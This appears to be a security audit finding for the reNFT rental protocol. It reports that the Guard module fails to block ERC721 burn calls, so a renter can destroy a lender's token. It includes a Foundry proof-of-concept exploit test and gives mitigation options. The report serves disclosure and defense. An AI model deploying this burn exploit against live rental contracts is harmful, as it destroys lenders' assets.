reNFT - Coverage's results

Lines of code

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L328 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195-L293 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L353

Vulnerability details

Impact

The identified issue stems from the current implementation of the _checkTransaction function in the Guard module. This function fails to account for certain scenarios, such as the burn function, which could lead to a potential attack vector where a malicious renter can burn the lender's ERC721 token.

Proof of Concept

1. Lender creates a PAY order with a burnable ERC721 and an ERC20 token as offer items.
2. Renter fulfills the PAY order.
3. Assets are transfered to a renter controller safe.
4. Renter burns the lender's ERC721 token.

Despite the absence of a formal burn function in the ERC721 standard, its usage is widely adopted. There are multiple non-dishonest implementations of the standard that allow users to burn their own tokens, which could ultimately render the protocol incompatible with any token that possesses this functionality.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {console2 as console} from "forge-std/Test.sol";

import {IERC721Errors} from "@openzeppelin-contracts/interfaces/draft-IERC6093.sol";
import {ERC721} from "@openzeppelin-contracts/token/ERC721/ERC721.sol";
import {ERC721Burnable} from "@openzeppelin-contracts/token/ERC721/extensions/ERC721Burnable.sol";

import {Order, ConsiderationItem, OfferItem, ItemType} from "@seaport-types/lib/ConsiderationStructs.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";
import {BaseTest} from "@test/BaseTest.sol";

import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

contract BurnableToken is ERC721, ERC721Burnable {
    uint256 private _nextTokenId;

    constructor() ERC721("Burnable Token", "BT") {}

    function mint(address to) public {
        uint256 tokenId = _nextTokenId++;
        _mint(to, tokenId);
    }
}

contract GriefingAttack is BaseTest {
    BurnableToken public burnableToken;

    function testAttack() public {
        // create a PAY order rental
        _createRental();

        // impersonate bob
        vm.startPrank(bob.addr);

        // create a transaction that interacts with the Burnable Token contract
        bytes memory transaction = abi.encodeWithSelector(ERC721Burnable.burn.selector, 0); // 0 is the token ID

        // sign the burn transaction
        bytes memory transactionSignature =
            SafeUtils.signTransaction(address(bob.safe), bob.privateKey, address(burnableToken), transaction);

        // execute the transaction
        SafeUtils.executeTransaction(address(bob.safe), address(burnableToken), transaction, transactionSignature);

        // stop impersonating
        vm.stopPrank();

        // assert that address(0) now owns the token
        vm.expectRevert(abi.encodeWithSelector(IERC721Errors.ERC721NonexistentToken.selector, 0));
        burnableToken.ownerOf(0);
    }

    function _createRental() internal {
        // deploy the burnable ERC721 contract
        burnableToken = new BurnableToken();

        // mint one burnable ERC721 to alice
        burnableToken.mint(alice.addr);

        // approve seaport to transfer the token
        vm.prank(alice.addr);
        burnableToken.setApprovalForAll(address(conduit), true);

        // approve bob safe to transfer the token
        burnableToken.setApprovalForAll(address(bob.safe), true);

        // assert that burnable token was minted to alice
        assertEq(burnableToken.balanceOf(alice.addr), 1);

        // create a PAY order
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // manually add the burnable ERC721 as an offer item in the PAY order
        withOfferItem(
            OfferItem({
                itemType: ItemType.ERC721,
                token: address(burnableToken),
                identifierOrCriteria: 0,
                startAmount: 1,
                endAmount: 1
            })
        );

        // finalize the pay order creation
        (Order memory payOrder, bytes32 payOrderHash, OrderMetadata memory payOrderMetadata) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // manually add the burnable ERC721 as a consideration item in the PAYEE order
        withConsiderationItem(
            ConsiderationItem({
                itemType: ItemType.ERC721,
                token: address(burnableToken),
                identifierOrCriteria: 0,
                startAmount: 1,
                endAmount: 1,
                recipient: payable(address(bob.safe))
            })
        );

        // finalize the payee order creation
        (Order memory payeeOrder, bytes32 payeeOrderHash, OrderMetadata memory payeeOrderMetadata) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({_fulfiller: bob, order: payOrder, orderHash: payOrderHash, metadata: payOrderMetadata});

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) = finalizePayOrderFulfillment();

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
        bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);

        // assert that the rental order was stored
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the payee rental order was not put in storage
        assertEq(STORE.orders(payeeRentalOrderHash), false);
    }
}

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Short-term fix

• Option 1: Consider adding a check for the burn function selector.
• Option 2: Introduce a whitelist of supported tokens that comply with established standards.

Long-term fix

The _checkTransaction function in the Guardian module [#L195-293] enforces pre-execution checks to restrict initiating transactions with certain function selectors during an active rent period. Instead of relying on pre-execution checks, post-execution invariant checks are proposed. This approach simplifies the code by prioritizing desired outcomes over specific user-triggered functions, while also reducing the protocol's reliance on external code. These checks can be implemented in the checkAfterExecution function [#L353] for a more robust solution.

Assessed type

Invalid Validation